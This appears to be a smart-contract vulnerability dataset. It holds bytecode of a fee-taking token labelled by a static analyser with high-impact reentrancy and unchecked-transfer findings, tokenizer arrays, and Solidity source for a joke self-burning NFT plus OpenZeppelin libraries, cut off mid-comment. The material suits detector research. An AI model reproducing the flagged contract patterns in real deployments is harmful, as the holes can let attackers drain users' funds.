207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610aac565b60006111408361214a565b505050506001600160a01b03841660009081526003602052604090205491925061116c91905082612199565b6001600160a01b038316600090815260036020526040902055600c546111929082612199565b600c55600d546111a290846120eb565b600d55505050565b6000546001600160a01b031633146111d45760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b5483111561124c5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610aac565b8161126b57600061125c8461214a565b50939550610bf8945050505050565b60006112768461214a565b50929550610bf8945050505050565b6000546001600160a01b031633146112af5760405162461bcd60e51b8152600401610aac9061308b565b601455565b6000546001600160a01b031633146112de5760405162461bcd60e51b8152600401610aac9061308b565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611317573d6000803e3d6000fd5b50565b6000546001600160a01b031633146113445760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b03811660009081526007602052604090205460ff16156113ad5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610aac565b6001600160a01b03811660009081526003602052604090205415611407576001600160a01b0381166000908152600360205260409020546113ed90610d3f565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff16156114aa57506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610bf890610d3f565b6000546001600160a01b031633146114f65760405162461bcd60e51b8152600401610aac9061308b565b600080546040516001600160a01b03909116906000805160206132e3833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146115585760405162461bcd60e51b8152600401610aac9061308b565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610f76573d6000803e3d6000fd5b6000546001600160a01b031633146115b75760405162461bcd60e51b8152600401610aac9061308b565b6115bf6121db565b6115d733836115d284633b9aca00613111565b611ced565b610f76601354601255601654601555565b6000546001600160a01b031633146116125760405162461bcd60e51b8152600401610aac9061308b565b600f81106116705760405162461bcd60e51b815260206004820152602560248201527f4c6971756964697479206665652063616e6e6f74206265206d6f7265207468616044820152646e2031352560d81b6064820152608401610aac565b601555565b606060108054610b64906130c0565b6000610bf43384610ca485604051806060016040528060258152602001613303602591393360009081526005602090815260408083206001600160a01b038d168452909152902054919061204c565b6000546001600160a01b031633146116fd5760405162461bcd60e51b8152600401610aac9061308b565b600a805461ff001916610100179055565b6001546001600160a01b031633146117745760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610aac565b60025442116117c55760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610aac565b600154600080546040516001600160a01b0393841693909116916000805160206132e383398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610bf4338484611ced565b6000546001600160a01b0316331461184b5760405162461bcd60e51b8152600401610aac9061308b565b61186c6103e861186683600b5461220990919063ffffffff16565b906120a9565b601a5550565b6000546001600160a01b0316331461189c5760405162461bcd60e51b8152600401610aac9061308b565b601780548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906118e590831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461191a5760405162461bcd60e51b8152600401610aac9061308b565b600083821461196b5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610aac565b838110156119dc576119ca85858381811061198857611988613130565b905060200201602081019061199d9190612e52565b8484848181106119af576119af613130565b90506020020135633b9aca006119c59190613111565b612288565b6119d56001826131c4565b905061196b565b5050505050565b6000546001600160a01b03163314611a0d5760405162461bcd60e51b8152600401610aac9061308b565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611a3c81426131c4565b600255600080546040516001600160a01b03909116906000805160206132e3833981519152908390a350565b6000546001600160a01b03163314611a925760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611add5760405162461bcd60e51b8152600401610aac9061308b565b611aeb81633b9aca00613111565b60185550565b6000546001600160a01b03163314611b1b5760405162461bcd60e51b8152600401610aac9061308b565b6001600160a01b038116611b805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610aac565b600080546040516001600160a01b03808516939216916000805160206132e383398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611c2b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610aac565b6001600160a01b038216611c8c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610aac565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611d515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610aac565b6001600160a01b038216611db35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610aac565b60008111611e155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610aac565b6000546001600160a01b03848116911614801590611e4157506000546001600160a01b03838116911614155b15611ea957601854811115611ea95760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610aac565b6000611eb43061146d565b90506018548110611ec457506018545b60195481108015908190611edb575060175460ff16155b8015611f1957507f00000000000000000000000083bbdfb22249909c163ea33ac833f519fdbbfac16001600160a01b0316856001600160a01b031614155b8015611f2c5750601754610100900460ff165b15611f3f576019549150611f3f8261229b565b6001600160a01b03851660009081526006602052604090205460019060ff1680611f8157506001600160a01b03851660009081526006602052604090205460ff165b15611f8a575060005b8015612038577f00000000000000000000000083bbdfb22249909c163ea33ac833f519fdbbfac16001600160a01b0316856001600160a01b03161461203857601a54611fd58661146d565b611fdf90866131c4565b11156120385760405162461bcd60e51b815260206004820152602260248201527f526563697069656e742065786365656473206d61782077616c6c65742073697a604482015261329760f11b6064820152608401610aac565b6120448686868461239e565b505050505050565b600081848411156120705760405162461bcd60e51b8152600401610aac9190612e88565b50600061207d8486613146565b95945050505050565b60008060006120936125da565b90925090506120a282826120a9565b9250505090565b6000610dbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275c565b6000806120f883856131c4565b905083811015610dbc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aac565b60008060008060008060008060006121618a61278a565b925092509250600080600061217f8d868661217a612086565b6127cc565b919f909e50909c50959a5093985091965092945050505050565b6000610dbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061204c565b6012541580156121eb5750601554155b156121f257565b601280546013556015805460165560009182905555565b60008261221857506000610bf8565b60006122248385613111565b90508261223185836131dc565b14610dbc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610aac565b6122906121db565b6115d7338383611ced565b6017805460ff1916600117905560006122b58260026120a9565b905060006122c38383612199565b9050476122cf8361281c565b60006122db4783612199565b905060006122f960646118666014548561220990919063ffffffff16565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612334573d6000803e3d6000fd5b5061233f8183613146565b915061234b84836129d4565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506017805460ff1916905550505050565b600a54610100900460ff166123c7576000546001600160a01b038581169116146123c757600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061240657506001600160a01b03831660009081526009602052604090205460ff165b1561245d57600a5460ff1661245d5760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610aac565b8061246a5761246a6121db565b6001600160a01b03841660009081526007602052604090205460ff1680156124ab57506001600160a01b03831660009081526007602052604090205460ff16155b156124c0576124bb848484612ad3565b6125be565b6001600160a01b03841660009081526007602052604090205460ff1615801561250157506001600160a01b03831660009081526007602052604090205460ff165b15612511576124bb848484612bf9565b6001600160a01b03841660009081526007602052604090205460ff1615801561255357506001600160a01b03831660009081526007602052604090205460ff16155b15612563576124bb848484612ca2565b6001600160a01b03841660009081526007602052604090205460ff1680156125a357506001600160a01b03831660009081526007602052604090205460ff165b156125b3576124bb848484612ce6565b6125be848484612ca2565b806125d4576125d4601354601255601654601555565b50505050565b600c54600b546000918291825b60085481101561272c5782600360006008848154811061260957612609613130565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612674575081600460006008848154811061264d5761264d613130565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561268a57600c54600b54945094505050509091565b6126d060036000600884815481106126a4576126a4613130565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612199565b925061271860046000600884815481106126ec576126ec613130565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612199565b91508061272481613173565b9150506125e7565b50600b54600c5461273c916120a9565b82101561275357600c54600b549350935050509091565b90939092509050565b6000818361277d5760405162461bcd60e51b8152600401610aac9190612e88565b50600061207d84866131dc565b60008060008061279985612d59565b905060006127a686612d75565b905060006127be826127b88986612199565b90612199565b979296509094509092505050565b60008080806127db8886612209565b905060006127e98887612209565b905060006127f78888612209565b90506000612809826127b88686612199565b939b939a50919850919650505050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061285157612851613130565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128f391906131fe565b8160018151811061290657612906613130565b60200260200101906001600160a01b031690816001600160a01b031681525050612951307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611bc9565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906129a690859060009086903090429060040161321b565b600060405180830381600087803b1580156129c057600080fd5b505af1158015612044573d6000803e3d6000fd5b6129ff307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611bc9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080612a466000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612aae573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119dc919061328c565b600080600080600080612ae58761214a565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612b179088612199565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612b469087612199565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b7590866120eb565b6001600160a01b038916600090815260036020526040902055612b9781612d91565b612ba18483612e19565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612be691815260200190565b60405180910390a3505050505050505050565b600080600080600080612c0b8761214a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612c3d9087612199565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c7390846120eb565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b7590866120eb565b600080600080600080612cb48761214a565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612b469087612199565b600080600080600080612cf88761214a565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612d2a9088612199565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612c3d9087612199565b6000610bf860646118666012548561220990919063ffffffff16565b6000610bf860646118666015548561220990919063ffffffff16565b6000612d9b612086565b90506000612da98383612209565b30600090815260036020526040902054909150612dc690826120eb565b3060009081526003602090815260408083209390935560079052205460ff16156110bb5730600090815260046020526040902054612e0490846120eb565b30600090815260046020526040902055505050565b600c54612e269083612199565b600c55600d54612e3690826120eb565b600d555050565b6001600160a01b038116811461131757600080fd5b600060208284031215612e6457600080fd5b8135610dbc81612e3d565b600060208284031215612e8157600080fd5b5035919050565b600060208083528351808285015260005b81811015612eb557858101830151858201604001528201612e99565b81811115612ec7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215612ef057600080fd5b8235612efb81612e3d565b946020939093013593505050565b600080600060608486031215612f1e57600080fd5b8335612f2981612e3d565b92506020840135612f3981612e3d565b929592945050506040919091013590565b60008060408385031215612f5d57600080fd5b8235612f6881612e3d565b91506020830135612f7881612e3d565b809150509250929050565b801515811461131757600080fd5b60008060408385031215612fa457600080fd5b823591506020830135612f7881612f83565b600060208284031215612fc857600080fd5b8135610dbc81612f83565b60008083601f840112612fe557600080fd5b50813567ffffffffffffffff811115612ffd57600080fd5b6020830191508360208260051b850101111561301857600080fd5b9250929050565b6000806000806040858703121561303557600080fd5b843567ffffffffffffffff8082111561304d57600080fd5b61305988838901612fd3565b9096509450602087013591508082111561307257600080fd5b5061307f87828801612fd3565b95989497509550505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c908216806130d457607f821691505b602082108114156130f557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561312b5761312b6130fb565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015613158576131586130fb565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415613187576131876130fb565b5060010190565b6000602082840312156131a057600080fd5b5051919050565b6000602082840312156131b957600080fd5b8151610dbc81612f83565b600082198211156131d7576131d76130fb565b500190565b6000826131f957634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561321057600080fd5b8151610dbc81612e3d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561326b5784516001600160a01b031683529383019391830191600101613246565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156132a157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e9306beecab8c49a1df802249f6a1eb4bcaf6cf6b8c1e7e8127557669b18517064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2546, 2692, 24434, 2278, 2475, 2546, 2692, 2063, 2487, 2546, 15136, 29097, 2692, 2063, 26187, 24594, 16409, 2278, 16703, 19841, 2692, 2581, 2475, 2063, 10790, 2546, 8889, 1013, 1008, 1008, 1008, 1008, 1008, 1996, 2976, 2923, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 1996, 25031, 21673, 12911, 2278, 1008, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,794
0x975f9d479690ebde4fc86c835ce5f91d0b7fadf4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; contract Boomerang is ERC721Enumerable, Ownable { uint256 constant MAX_TOKENS = 11; constructor() ERC721("The Emperor's Boomerang", "BOOM") { _safeMint(msg.sender, 0); } function contractURI() public pure returns (string memory) { return "ipfs://QmWhBBabB1UsdEEpd3KKhKP6FrCqCZ1NSx6Sp2RGrhDJKb"; } function tokenURI(uint256 /*tokenId*/) public pure override returns (string memory) { return contractURI(); } function mint() external { require(totalSupply() < MAX_TOKENS, "The boomerangs are all gone."); uint256 tokenId = totalSupply(); // You did it! _safeMint(msg.sender, tokenId); // Just kidding. It's a boomerang. yoink(msg.sender, tokenId); } // If the boomerang is still in this address's posession, it will come // right back. function yoink(address yoinkee, uint256 tokenId) internal returns (bool) { if (ownerOf(tokenId) == yoinkee) { _burn(tokenId); return true; } return false; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an 